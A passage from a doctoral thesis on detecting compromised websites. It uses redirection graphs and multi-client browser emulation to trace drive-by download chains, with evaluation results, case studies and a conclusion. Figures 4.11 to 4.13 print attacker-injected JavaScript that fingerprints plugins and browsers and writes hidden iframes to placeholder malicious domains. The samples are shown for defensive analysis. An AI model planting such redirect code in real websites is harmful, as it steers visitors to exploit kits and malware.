constructing a RCG and to configure various client environments, we need to be
able to hook browser processes and modify the environment profiles. Therefore,
we used a browser emulator, HtmlUnit [63], in our system and implemented the
monitoring and configuration functions into it. In this study, we focused on plu-
gins, Java Runtime Environment (JRE), Adobe Reader (PDF), and Adobe Flash
Player (Flash), for a multi-client environment because many recent exploit kits
check for the presence of vulnerable versions of several plugins [59, 81]. There-
fore, we collected vulnerability information on these plugins from CVE Details
and contagio, mentioned in the previous subsection. The numbers of aggregated
versions of JRE, PDF, and Flash are listed in Table 4.2. The rows of Table 4.2 rep-
resent the number of plugins for the vulnerability information of exploit kits from
2014–2015, exploit kits from 2011–2013, and the number of official installers we
found manually. Table 4.2 shows that our method can dramatically reduce the
number of environment profiles by utilizing known vulnerability information. It
is meaningful to note here that our proposed system can change environment pro-
files on the basis of not only plugins but also operating systems or browsers in the
same way (see Section 4.6.4).

4.4 Experiment and Evaluation

We evaluated the effectiveness and performance of our system using the HTTP
communication data of the 2,058 compromised websites that were preliminarily
detected during a four-year period (2011–2015). Although we can run our system
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Figure 4.6: Experimental environment

to reveal malicious content and the functions of websites on the live Internet, on-
line crawlings, especially with our multi-client environment, place a load on web
servers and make it easy to detect inspections by server-side cloaking. Therefore,
it is appropriate for utilizing our system in a local environment while leveraging
forensic artifacts that have been already detected. In this experiment, we first in-
vestigated the impact of semantic gaps to evaluate the effectiveness of an RCG.
More precisely, we evaluated whether a RCG can precisely connect more links
than a conventional redirection graph. Next, we analyzed redirection origins ex-
tracted from malicious paths and investigated the statistical trend regarding web-
site compromises. Finally, we evaluated whether our system can identify targeted
client environments and the target range.

4.4.1 Experimental Environment

The experimental environment for our system was composed of a high-interaction
honeyclient, a replay proxy, and our system, as shown in Fig. 4.6.

High-interaction Honeyclient

We used HTTP communication data of websites that were preliminary detected
drive-by download attacks by a high-interaction honeyclient [30]. Exploit URLs
and malware distribution URLs detected by the honeyclient were also used as a
blacklist in the identifying malicious node phase.
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Replay Proxy

A replay proxy responds to a HTTP request with web content on the basis of a
URL using HTTP communication data. Thus, due to the dynamic nature of mod-
ern websites, some HTTP requests may not match any of the original data. This
occurs when a URL using time-dependent or random parameters is included in the
data. To compensate for dynamically generated URLs, we used an approximate

matching approach, which was inspired from a method [85], during replay. This
approach measures the similarity between a requested URL and URLs with the
same domain name and the same file path but different parameters in the HTTP
communication data. To compute a similarity score, this approach calculates a
Jaccard index of the set of parameter names. Finally, the proxy responds to a
HTTP request with web content on the basis of a URL that has a score that is
higher than a threshold. The threshold was set to a high score, e.g., 0.9, to prevent
false positives, and no false positives were observed in this experiment. Note that
the purpose of this study is to identify the evidence and impact of compromise,
and not to propose a traffic replay method.

Our System

Our system, which is the extended HtmlUnit described in Section 4.3.3, analyzes
web content through accesses to the replay proxy. Then, to further reduce the
analysis time, we used our multi-client environment for only websites that tried to
use browser fingerprinting. Browser fingerprinting can be detected by monitoring
the use of the name and version strings of the client environment in JavaScript
function arguments and object properties. Therefore, we preliminarily detected
browser fingerprinting by analyzing a website once. The results of preliminary
crawls were also used for analyzing a website that does not use browser finger-
printing. Note that this detection method of browser fingerprinting is straight-
forward and limited to sophisticated browser fingerprinting such as side-channel
inference [54].

We obtained the experimental results presented in this section by using two
servers, both running Ubuntu 12.01. Our replay proxy replayed the HTTP com-
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munication data on one server (2.93-GHz processor and 24 GB of RAM), and our
system evaluated web content on the other server (3.16-GHz processor and 4 GB
of RAM).

4.4.2 Evaluation of Redirection Call Graph and Redirection
Origin

Constructing Redirection Graph

Our objective is to identify information of compromised websites at a content-
level in addition to an URL-level. Since compromised web content, i.e., a redi-
rection origin, can be identified from a redirection path, we evaluated how many
nodes (URLs) can be connected with the proposed method compared with con-
ventional methods. In other words, false positives and false negatives in this eval-
uation are that edges are not connected correctly and that there are no edges to be
connected, respectively.

We computed the differences between the number of nodes on malicious paths
identified by the proposed method (PRO) and the conventional methods. As
the conventional methods, we implemented originally the referer-based method
(REF) [42] and the heuristic-based method (HEU) [44]. As a result, the number of
nodes identified by only PRO were 1,068 and 367 compared with REF and HEU,
respectively. We found through manual inspection that these nodes were false
negatives of the conventional methods caused by a redirection without a Referer
header or with a semantic gap. The semantic gap edge was included in 16.6% of
websites. In addition, the numbers of nodes identified by only the conventional
methods were 0 and 9 compared with REF and HEU, respectively. However, these
nodes were false positives (noise URLs) caused by linking a likely edge with the
rule “Domain-in-URL” of HEU. These results show that the proposed method can
accurately construct a redirection graph and identify malicious redirection chains,
but the conventional methods cannot.

In this evaluation, we found several redirection graphs without a malicious
path. Therefore, we measured the analysis capabilities of our system by calcu-
lating its reachability to malicious URLs that the high-interaction honeyclient de-
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tected. As a result, our system identified malicious paths from 1,479 (71.9%)
websites among the 2,058 websites. We give more details on the websites that
could not reach malicious URLs in the next subsection, i.e., these websites corre-
spond to unknown or false negatives.

Redirection Graph without Malicious Path

We manually analyzed the causes of the incomplete redirection graphs that did
not contain malicious URLs, i.e., malicious nodes. Table 4.3 shows a break-
down of redirection graphs without a malicious path. The most common sophis-
ticated browser fingerprinting in this breakdown changed behavior on the basis
of the presence of a specific property of JavaScript or security vendor products.
JavaScript properties exist in only Internet Explorer, e.g., window.sidebar, and
is abused as an indirect browser fingerprint by attackers. Many methods of such
browser fingerprinting are proposed and also known to affect the behavior of not
only a browser emulator but also a real browser [54]. Attackers can also ma-
liciously access a file system and check the presence of security vendor prod-
ucts through Internet Explorer by abusing an information disclosure vulnerability,
i.e., CVE-2013-7331. Our browser emulator could not be redirected to malicious
URLs because it did not execute the environment-specific code and exploit code.
The emulator evasion in Table 4.3 was caused by a defect of DOM implementa-
tion in HtmlUnit. However, we can mitigate the evasion by improving the behav-
ior emulation since a redirection graph could be accurately constructed by fixing
this defect. The other causes were lack of approximate matching and suspicious
URL detection ability, time-dependent redirections, and use of VBScript.
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Table 4.4: Analysis of client-dependent redirection with browser fingerprinting
Detected: #crawls Description
Suspicious:
Unknown
1:0:1 359 Client-dependent redirection with browser fingerprinting
0:1:1 117 Client-dependent redirection with browser fingerprinting
1:1:1 149 Client-dependent redirection with browser fingerprinting
0:0:1 209 Emulator evasion, time-dependent redirection, etc. (see Table 4.3)
1:1:0 226 Malicious websites using URLs with DGA-domains and/or random strings
0:1:0 91 Malicious websites using URLs with DGA-domains and/or random strings
1:0:0 370 Simple malicious websites

Extracting Compromised Web Content

To investigate the statistical trend regarding compromised web content and com-
promise methods, we analyzed redirection origins extracted from malicious paths.
Compromise methods were 43%HTML-based compromises, 9% JavaScript-based
compromises, and 47% DOMAPI code injections. Almost all HTML-based com-
promises injected automatic redirections to different URLs using script and
iframe tags. The DOMAPI code also injected 98% iframe tags and 2% script

tags. These injected HTML tags were written in strange positions such as outside
the html tag or body tag (5%) in a small area (width <15, height <15, or area
<30; 20%) or outside the display (72%).

We also investigated redirection paths from compromised web content. As a
result, the semantic gap edge was included in 33% of redirection paths, which
made it difficult to analyze it. We will give two case studies of these semantic gap
edges in Section 4.5.2.
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4.4.3 Evaluation of Targeted Client Environments

We evaluated whether our system can identify which client environment is redi-
rected to a malicious URL. The client environments emulated each plugin, as
shown in Table 4.2, on the basis of the observation period of the websites and the
browser fingerprint acquired by the websites. The crawl results per each environ-

ment were categorized into three groups: detected crawls that contain malicious
URLs, suspicious crawls that contain suspicious URLs, and unknown crawls that
contain neither. As a result of comparing crawl results per each website, we identi-
fied client-dependent redirections that contained detected and/or suspicious crawl
results at the same time as unknown crawl results from 625 (30.4%) of the web-
sites (Table 4.4). These websites changed the destination URL depending on the
difference among the plugin versions. We plot these detected and/or suspicious
crawl results in Fig. 4.7, in which the horizontal axis indicates versions of Flash
(left is from exploit kits from 2011–2013, and right is from exploit kits from 2014–
2015) and the vertical axis indicates crawl results on the order of the time scale.
Figure 4.7 shows that some of the results were widely detected, and the others
were detected by only specific versions. We found through manual inspection that
these results were derived from the exploit kit periods of 2011–2013 and 2014–
2015. This means that client environments based on information of exploit kits
from 2011–2013 were not redirected to malicious websites observed from 2014–
2015 and vice versa. These results show that it is important to change a client en-
vironment for analysis depending on that attack trend of that time. Furthermore,
as a result of analyzing websites of the same detection pattern, we found that these
websites used the same browser fingerprinting code and redirection code. Using
these multiple analysis results, we can categorize malicious infrastructures, such
as vulnerabilities (see Section 4.5.3).

4.4.4 Performance Overhead

We evaluated the total time and the average time taken to analyzing the 2,058
websites with our system. The results indicated that the time costs were 685,773
sec and 333 sec, respectively. Since 90% of benign website crawlings done by
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the high-interaction honeyclient that detected compromised websites used in this
experiment finished within 154 sec [30], the analysis time of our system took
approximately twice as long. The performance of our system, however, clearly
depends on the number of environment profiles. The analysis time per one envi-
ronment was only 12 sec on average and these of each website were nearly equal.
Therefore, the minimizing of environment profiles, i.e., JRE, PDF, and Flash in
Table 4.2, can reduce 142/193=73.6%, 79/103=76.7%, and 188/251=74.9% anal-
ysis time, respectively. From the above, our system is appropriate for frequent re-
analysis of websites because the browser emulator does not require extra analysis
time, e.g., the rendering time of a website and the execution time of exploit code.
In addition, since the browser emulator can be more easily deployable and par-
allelized compared with a high-interaction honeyclient that individually requires
a real browser whenever the environment is changed, performance can be further
improved.

4.5 Case Studies

Wemanually analyzed redirection origins, redirection paths, and client-dependent
redirection code. Among these manual inspections, we now describe notable sam-
ples.

4.5.1 Compromised Websites for Malware Campaign

We first show an example of malicious paths constructed from crawl results, which
contained the leaf URL of a .jar file extension (Figure 4.8). The redirection started
from a script tag in the landing URL to an applet tag that points to the leaf
URL via a location, meta tag, HTTP302, and iframe tag, as shown in Fig. 4.8.
Since our system cannot execute a Java archive file, it stopped at the URL of a .jar
file extension. These above features, characteristic lexical features of URLs, and
facts of data observed from Oct. – Nov. 2012 suggest that the landing website
was injected with a script tag that redirects to a malicious website built using
the Styx exploit kit [86]. Other characteristics of exploit kits appear in HTML
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tags and JavaScript code in addition to the data observation period and the lexical
features of URLs mentioned above [67, 87]. Since many attackers pervasively
use such exploit kits for malware campaign, the capability to analyze them is
important. To show the validity of our method against exploit kits, we investigated
signatures and security vendor reports for other malicious paths based on these
characteristics. As a result, we have also identified malware campaigns with other
exploit kits such as Blackhole, RedKit, Flash Pack, RIG, Nuclear, and Angler.

4.5.2 Sophisticated Semantic Gap
Obfuscated Semantic Gap Edge

We depict an example of malicious paths that contained dynamically generated
code and a semantic gap in Fig. 4.9. The semantic gap was caused by DOM API
code (JS 7) in obfuscated code (JS 6) injected by compromising. The conven-
tional methods could not completely identify these malicious paths because the
link to the URL of DOMAIN5 could not be connected due to the semantic gap
and the destination URL of DOMAIN6 is concealed in the obfuscated code.

Multiple Compromised Web Content

We show an example of a part of RCGs constructed from crawl results, which con-
tain two or more differences in the number of identified URLs between PRO and
REF/HEU in Section 4.4.2 (Figure 4.10). Compromised web content in Fig. 4.10
was injected into multiple files such as an HTML file of the landing URL and
JavaScript files referred from the landing URL. The conventional methods could
not identify URLs of these JavaScript files because DOM API code were injected
into all files and semantic gaps occurred on all of them. In other words, this means
that JavaScript files remain compromised even if we deleted only the iframe tag
of the landing URL identified by the conventional methods.
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Table 4.5: PDF version range detected by website analysis in multi-client envi-
ronment
4.0.5 7.0.0 7.1.0 7.1.1 8.0.0 8.1.0 8.1.1 8.1.2 8.1.3 8.1.4 8.2.0 8.2.4

! ! ! ! ! ! ! !
9.0.0 9.1.0 9.1.1 9.3.0 9.3.1 9.3.3 9.4.0 9.4.1 10.0.0 10.0.3 10.1.1
! ! ! ! ! !

1 pdf_ver = PluginDetect.getVersion("AdobeReader");
2 pdf_ver = pdf_ver.split(",");
3 if ((pdf_ver[0] == 8 && pdf_ver[1] <= 2) ||
4 (pdf_ver[0] == 9 && pdf_ver[1] <= 3)) {
5 document.write("<iframe width=10 height=10
6 src=’http://DOMAIN6.br/98765.pdf’></iframe>");
7 }

Figure 4.11: Browser fingerprinting code using plugin information

4.5.3 Client-dependent Redirection with Browser Fingerprint-
ing

The JS 8 of Fig. 4.9 changed the destination URL by executing the browser finger-
printing code that gets the version of the PDF plugin in Fig. 4.11. We analyzed the
code using our system that emulated 23 individual versions of a PDF based on Ta-
ble 4.2 because the code was observed in 2012. As a result, the versions shown in
Table 4.5 reached malicious URLs and the behavior was along the condition of the
above branch code. In addition, these code features and characteristic lexical fea-
tures of URLs suggest that these malicious paths were built using RedKit, which
is known to exploit a PDF’s vulnerability (CVE-2010-0188) [88]. CVE-2010-
0188 exists in Adobe Reader/Acrobat 8.X before 8.2.1 and 9.X before 9.3.1, and
the code has also been implemented to redirect to the URL of DOMAIN6 when a
PDF version that has the vulnerability is used.
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4.6 Discussion

4.6.1 Browser Emulator Limitations

The analysis of malicious websites with a browser emulator such as our system is
known to have some limitations. For example, a browser emulator is known not
to be able to execute attack code that exploits the vulnerabilities of a web browser
and/or its plugins. Our system also cannot execute exploit code as described in
Section 4.4.2. In other words, our method cannot construct a complete redirec-
tion graph including a malware distribution URL because a malware distribution
URL is accessed due to exploit code execution. Similarly, improving behavior
emulation is challenging in browser fingerprinting and the diversity of browser
implementations. The incomplete redirection graphs without malicious paths in
Section 4.4.2 were also one of the factors preventing the construction of graphs.
Naturally, in the case of an incomplete redirection graph, an incident responder
must analyze the website in conventional operation. We admit all these issues can
affect the performance of our system. However, these issues are not specific to our
system and affect all real browsers and browser emulators in some degree. It is
also difficult to automatically identify whether a redirection graph is incomplete
or not. More importantly, our system could identify the evidence and impact of
71.9% of compromised websites under the limitations. To maximize the disclo-
sure of suspicious/malicious content and suggest the possibility of an incomplete
redirection graph, we must combine our system with other techniques such as
machine learning discussed in Section 4.7.2.

4.6.2 Evaluation of Compromised Content

In this study, we did not conduct a user study on how the evidence and impact
information identified by our system can contribute to remedying compromised
websites and preventing malware infections because we evaluated our system us-
ing past crawl data in our experiments. As future work, we will perform a user
study on how much and how long this identified information can increase the
response rate and reduce the response time required for clean-up done by web-

68



CHAPTER4 FINE-GRAINED ANALYSIS OF COMPROMISED WEBSITES
WITH REDIRECTION GRAPHS AND JAVASCRIPT TRACES

masters, such as in an existing user study [80].
An incident responder generally determines whether a website is malicious by

identifying URLs that should be analyzed based on the redirection graph struc-
ture and analyzing web content of these URLs [44]. Therefore, instead of a user
study on webmasters, we calculated the URL reduction rate (URR) and the con-
tent reduction rate (CRR), which were inspired from the evaluation method of the
existing research [85], to evaluate how our system can contribute to the work of
incident responders. The URR is how many URLs our method can filter out by
extracting malicious redirection paths from the entire redirection graph of each
crawling. The CRR is how much web content on compromised websites would
not be analyzed by extracting compromised web content using our method. These
rates of all n websites were obtained with the following formulas.

URR = 1 − 1
n

n∑

k=1

(
# of access URLs in pathk
# of access URLs in crawlk

)

CRR = 1 − 1
n

n∑

k=1

(
# of bytes of compromised contentk

# of bytes of original contentk

)

As a result, our method could reduce 85.0% of URLs (23 URLs on average).
Furthermore, the CRR was 99.2% (16,568 bytes on average) on the basis of the
value in a Content-Length header, i.e., the number of URLs and the amount of
web content to be analyzed were sufficient for incident responders by 15.0% and
0.8%, respectively. The results show that our method can identify malicious web-
sites both at a content-level and a URL-level. However, web content dynamically
injected, for example, from database and an .htaccess file cannot be accurately
identified. Although we must cooperate with webmasters to remove the root cause
of compromise in the case of dynamic compromises, our method can still provide
practical directions for prompt incident response.

4.6.3 Immediate Online Crawling After Detection

We evaluated our system using data of compromised websites that were prelimi-
narily detected in Section 4.4. In this subsection, we evaluated the effectiveness
of our system by crawling compromised websites on the live Internet immediately
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Table 4.6: Analysis of client-dependent redirection based on User-Agent
Detected:Suspicious:Unknown #crawls

1:0:1 147
0:1:1 10
1:1:1 1
0:0:1 323
1:1:0 71
0:1:0 119
1:0:0 1,387

after a high-interaction honeyclient detected the websites. Our system emulated
the same client environment as the high-interaction honeyclient and crawled ten
compromised websites that were detected during one month, July 2016. As a
result, our system identified malicious paths from two websites that contained
malicious Flash files. The other eight websites were not identified due to empty
content (probably server-side cloaking) and advertisements (probably malvertis-
ing). These results show that our system can successfully identify compromised
web content even for online crawlings. However, it is also important to lever-
age forensic artifacts that have been already detected to minimize the effects of
dynamic web content, as described in Section 4.4.

4.6.4 Multiple Analysis using Various User-Agents

We focused on browser plugins (JRE, PDF, and Flash) and evaluated whether our
system can identify client-dependent redirections and the target range of client
environments in Section 4.4.3. In this subsection, we expanded our multi-client
environment to user-agents and further investigated the impact of compromised
websites, i.e., whether malicious websites change behavior depending on the user-
agent.

Our system emulated nine user-agents, Internet Explorer (IE) 6 and 7 on Win-
dows XP, IE 8, 9, 10, and 11, Google Chrome (Chrome), Mozilla Firefox (Firefox)
on Windows 7, and Firefox on Linux. In this experiment, we evaluated all 2,058
compromised websites regardless of the use of browser fingerprinting because the
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1 BrowserDetect.init();
2 var stopit = BrowserDetect.browser;
3 var os = BrowserDetect.OS;
4 if (((stopit == "Firefox" || stopit == "Explorer") &&
5 (os == "Windows")) &&
6 (findCookie("geo_id2") != "753445")) {
7 addCookie("geo_id2", "753445", 1);
8 var _q = document.createElement("iframe"),
9 _n = "setAttribute";

10 _q[_n]("src", "http://DOMAIN10/images.php?t=424429");
11 _q.style.position = "absolute";
12 _q.style.width = "16px";
13 _q.style.left = "-5597px";
14 document.write("<div id=’__dr11938’></div>");
15 document.getElementById("__dr11938").appendChild(_q);
16 } else {}

Figure 4.12: Browser fingerprinting code using user-agent information

number of user-agents is lower than the number of plugins.
We show the results of multiple analysis using various user-agents in Ta-

ble 4.6. Only 158 (7.7%) websites contained detected and/or suspicious crawl
results at the same time as unknown crawl results. We found the browser fin-
gerprinting code in Fig. 4.12 and Fig. 4.13 through manual inspection of these
websites. The code in Fig. 4.12 determines whether to redirect clients to the fol-
lowing URL of DOMAIN10 depending on the user-agent information collected
from BrowserDetect object. This code also changes behavior by identifying
clients that access the website multiple times using a cookie. Another example
(Fig. 4.13) determines whether to redirect clients to the URL of DOMAIN11 by
executing code that forces an exception caused by reading an undefined property,
i.e., window["sfgbfg"]["wtrgw"], in the case of specific browsers, i.e., IE 7,
8, and 9 are the targeted client environments. Other websites also redirect only
specific IEs to malicious URLs using conditional comments in HTML by com-
promising web content referred in the comments, e.g., “<!–[if lt IE 9]><script
src=‘html5.js’></script><![endif]–>.”

We also manually inspected browser fingerprinting code and analyzed the
range of targeted client environments. Table 4.7 presents the range and the to-
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1 var t6 = window["navigator"]["userAgent"];
2 var t7 = t6["search"]("SIE 7");
3 var t8 = t6["search"]("SIE 8");
4 var t9 = t6["search"]("SIE 9");
5 t7 = t7 > 0 ? (b7 ? 1 : window["sfgbfg"]["wtrgw"]) : 1;
6 t8 = t8 > 0 ? (b8 ? 1 : window["sfgbfg"]["wtrgw"]) : 1;
7 t9 = t9 > 0 ? (b9 ? 1 : window["sfgbfg"]["wtrgw"]) : 1;
8 function pYe(text) {
9 if (text["length"] == 0) return 0;

10 var hash = 0;
11 for (var i = 0; i < text["length"]; i++) {
12 hash = ((hash << 5) - hash) + text["charCodeAt"](i);
13 hash = hash & hash;
14 }
15 return hash % 255;
16 }
17 pYe(t6) == -56 ? window["sfgbfg"]["wtrgw"] : 0;
18 pYe(t6) == 85 ? window["sfgbfg"]["wtrgw"] : 0;
19 document["write"](" ... <iframe src=‘http://DOMAIN11/forums/

index.php?PHPSESSID=40t ... ");

Figure 4.13: Indirect browser fingerprinting code.

tal number of code. Our manual inspection found that the version of a browser in
the case of IE and the family of a browser in the case of Chrome and Firefox were
used to change the website behavior. We assume that the differences are derived
from the distribution method of browser updates, i.e., IE (before IE11) is updated
by Windows Update whereas Chrome and Firefox are automatically updated by
themselves.

4.7 Related work

4.7.1 Detecting Compromised Websites

The methods of detecting website compromises are generally used for comparing
original and compromised web content. For example, a comparison method [5]
using HTML files as original content and a comparison method [6] using well
known libraries and frameworks of JavaScript as original content have been pro-
posed. Moreover, TripWire [82] can notify webmasters of changes on websites by
e-mail when file operations are detected on a web server on which TripWire is in-
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Table 4.7: Analysis of targeted client environments
Targeted client environment Count
IE 6, 7, and 8 3
IE 6, 7, 8, 9, and 10 16
IE 6, 7, 8, 9, 10, and 11 4
IE 7, 8, 10, Chrome and Firefox-Win/Linux 1
IE 6, 7, 8, 9, 10, 11 and Firefox-Win 1
IE 6, 7, 8, 9, 10, Chrome and Firefox-Win/Linux 1
IE 6, 10, 11, Chrome, and Firefox-Win/Linux 23
IE 6, 7, 8, 9, 10, and Firefox-Win/Linux 54
Only IE 11 55

stalled. However, these methods have limitations in terms of method application.
For example, original content is necessary for compromise detection, and these
methods can detect only compromised web content on the web server under con-
trol. These limitations prevent websites using external content such as third-party
libraries and advertisements from performing effectively. However, using these
methods with compromised web content identified by our method can contribute
to finding more malicious websites and detoxifying them.

4.7.2 Detecting Malicious Websites

Over the past few years, many researchers have proposed methods of detecting
drive-by downloads. A honeyclient is a decoy client system for crawling and de-
tecting malicious websites. It is classified as high-interaction or low-interaction.
A high-interaction honeyclient [30, 31] crawls websites with a vulnerable real
browser and detects malware downloads by monitoring unintended processes and
file system accesses, whereas a low-interaction honeyclient [34, 35] crawls web-
sites with a browser emulator and detects malicious behaviors by signature match-
ing and machine learning. Also, learning-based methods of detecting malicious
web content have been proposed and leveraged features from HTML, JavaScript,
and URL [15, 40]. However, these methods cannot identify which web content is
the redirection origin of a malicious path. In comparison, we can extract malicious
paths more effectively using these research results because these methods can de-
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tect malicious websites with high accuracy. Similarly to our method, methods
of analyzing a redirection graph on malicious websites leverage a diverse dataset
of redirection graphs and co-occurring URLs in graphs [43, 51]. Others [44, 45]
focus on HTTP redirections and executable file downloads on a network and ap-
ply a classifier to detect malicious redirection paths. However, these methods fail
to construct a redirection graph of many malicious websites (see Section 4.4.2)
because of the coarse-grained redirection information.

4.7.3 Website Analysis using Multiple Clients

Wang et al. [20] examined the dynamics of cloaking and uncovered the lifetime
of cloaked websites using a system designed to crawl search results three times
with different user-agents and referers. They measured and characterized the
prevalence of cloaking on different search engines and search terms in addition
to user-agent cloaking and referer cloaking. Invernizzi et al. [89] developed an
anti-cloaking system that detects when a web server returns divergent content to
two or more distinct browsers. This system fetches content via multiple browser
profiles as well as network vantage points to trigger any cloaking logic and distin-
guish benign cloaking from blackhat cloaking. These systems focus on cloaking
techniques and perform a complementary role to our system.

4.8 Summary

In this chapter, we proposed a new method of constructing a new fine-grained
redirection graph to identify the evidence and impact of compromise. Our sys-
tem with the proposed method analyzes a website in a multi-client environment
while minimizing the number of environment profiles. Our evaluation was per-
formed with compromised website data obtained during a four-year period. The
result showed that our system could successfully identify the precise position of
compromised web content and targeted client environments on 71.9% of websites
although there were websites that our system cannot construct redirection graphs
due to the browser emulator evasion. We also showed that it could effectively
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identify an exploit kit and a vulnerability that has been used in malicious websites
by leveraging the evidence and impact of compromise. Our system can contribute
to improving the daily work of CSIRTs/security vendors and expediting compro-
mised website clean-up done by webmasters.
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Conclusion

Cyber attacks continue to be sophisticated. Attackers conceal their own malicious
content, e.g., exploit code and malware, to evade our analysis and detection. In
web-based attacks, malicious URLs are hidden by the combination of redirection
chains and environment-dependent attacks. When honeyclients that do not match
the specific environment of the attack target are used, they cannot detect the at-
tack because they are not redirected to malicious URLs. In addition, attackers
abuse compromised websites to lure unsuspecting users by constructing redirec-
tion chains to malicious URLs. They only have to inject redirection code rather
than exploit code for website compromises and can prevent any disclosure of ma-
licious content. Against these web-based attacks, we commonly use an approach
of detecting drive-by downloads using a classifier based on the static and dynamic
features of malicious websites collected by a honeyclient. However, the above
complex attack leads to our honeyclients being unable to analyze and collect ma-
licious websites. As a result, the subsequent classifier also fails to detect drive-by
downloads. Therefore, the goal of this thesis is to maximally extract informa-
tion from sophisticated web-based attacks that evade our analysis and detection
with the four techniques: content obfuscation, redirection chains, environment-
dependent attacks, and website compromises. To achieve this goal, this thesis
proposed two new analysis methods.

Chapter 3 presented a method of exhaustively analyzing JavaScript code rele-
vant to redirections and extracting the destination URLs in the code. Our method

76



CHAPTER5 CONCLUSION

facilitates the detection of attacks by extracting a large number of URLs while
controlling the analysis overhead by excluding code not relevant to redirections.
We implemented our method in a browser emulator called MineSpider that auto-
matically extracts potential URLs from websites. We validated it by using com-
munication data with malicious websites captured during a three-year period. The
experimental results demonstrated that MineSpider extracted 30,000 new URLs
from malicious websites in a few seconds that conventional methods missed.

In Chapter 4, we explored an effective way to leverage indicators of compro-
mised websites for expediting the clean-up. We proposed a method of identifying
evidence and impact of website compromise, more precisely, the precise position
of compromised web content and the target range of client environments. This
fine-grained information would contribute to improving the daily work of inci-
dent responders in addition to detecting compromised websites. To identify it,
our method constructs a redirection graph with context, i.e., which web content
redirects to malicious websites. In addition, the proposed method analyzes a web-
site in a multi-client environment to identify which client environment is exposed
to threats. We implemented the method in the same browser emulator as in the
previous chapter and evaluated it using a dataset of over 2,000 real compromised
websites. As a result, our system successfully identified compromised web con-
tent and malicious URL relations. Furthermore, it can identify the target range of
client environments in 30.4% of websites.

As described above, this thesis leveraged four techniques of attack sophisti-
cation to expose hidden features of malicious websites. We designed and im-
plemented new methods for analyzing them by browser emulators and evaluated
the effectiveness using real datasets. The knowledge and results presented in this
thesis would contribute to improving the detection capability in the current state-
of-the-art of signature matching and machine learning. The contributions of this
thesis are valuable for achieving the secure Web.
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[73] N. Šrndić and P. Laskov, “Detection of malicious pdf files based on hierar-
chical document structure,” Network and Distributed System Security Sym-
posium (NDSS), February 2013.

[74] T.V. Overveldt, C. Kruegel, and G. Vigna, “Flashdetect: Actionscript 3
malware detection,” Research in Attacks, Intrusions and Defenses (RAID),
pp.274–293, September 2012.

[75] P. Saxena, D. Akhawe, and S. Hanna, “A symbolic execution framework for
javascript,” IEEE Symposium on Security and Privacy (SP), pp.513–528,
July 2010.

88



BIBLIOGRAPHY

[76] Symantec Corporation, “Internet security threat report 2014 :: Volume 19.”
http://www.symantec.com/content/en/us/enterprise/other_

resources/b-istr_main_report_v19_21291018.en-us.pdf, 2014.

[77] Sophos Ltd., “Security threat report 2014.” https://www.sophos.

com/en-us/medialibrary/PDFs/other/sophos-security-threat-

report-2014.pdf, 2014.

[78] H. Kobayashi and U. Takayuki, “Keeping eyes on malicious websites -
“chkdeface” against fraudulent sites,” the 27th Annual FIRST Conference,
June 2015.

[79] Japan’s Ministry of Internal Affairs and Communications, “Active: Ad-
vanced cyber threats response initiative.” http://www.active.go.jp/

en/, 2015.

[80] F. Li, G. Ho, E. Kuan, Y. Niu, L. Ballard, K. Thomas, E. Bursztein, and
V. Paxson, “Remedying web hijacking: Notification effectiveness and web-
master comprehension,” World Wide Web Conference (WWW), pp.1009–
1019, April 2016.

[81] B. Min and V. Varadharajan, “A New Technique for Counteracting Web
Browser Exploits,” Australian Software Engineering Conference, April
2014.

[82] TripWire, Inc., “Tripwire enterprise.” http://www.tripwire.com/it-

security-software/scm/tripwire-enterprise/.
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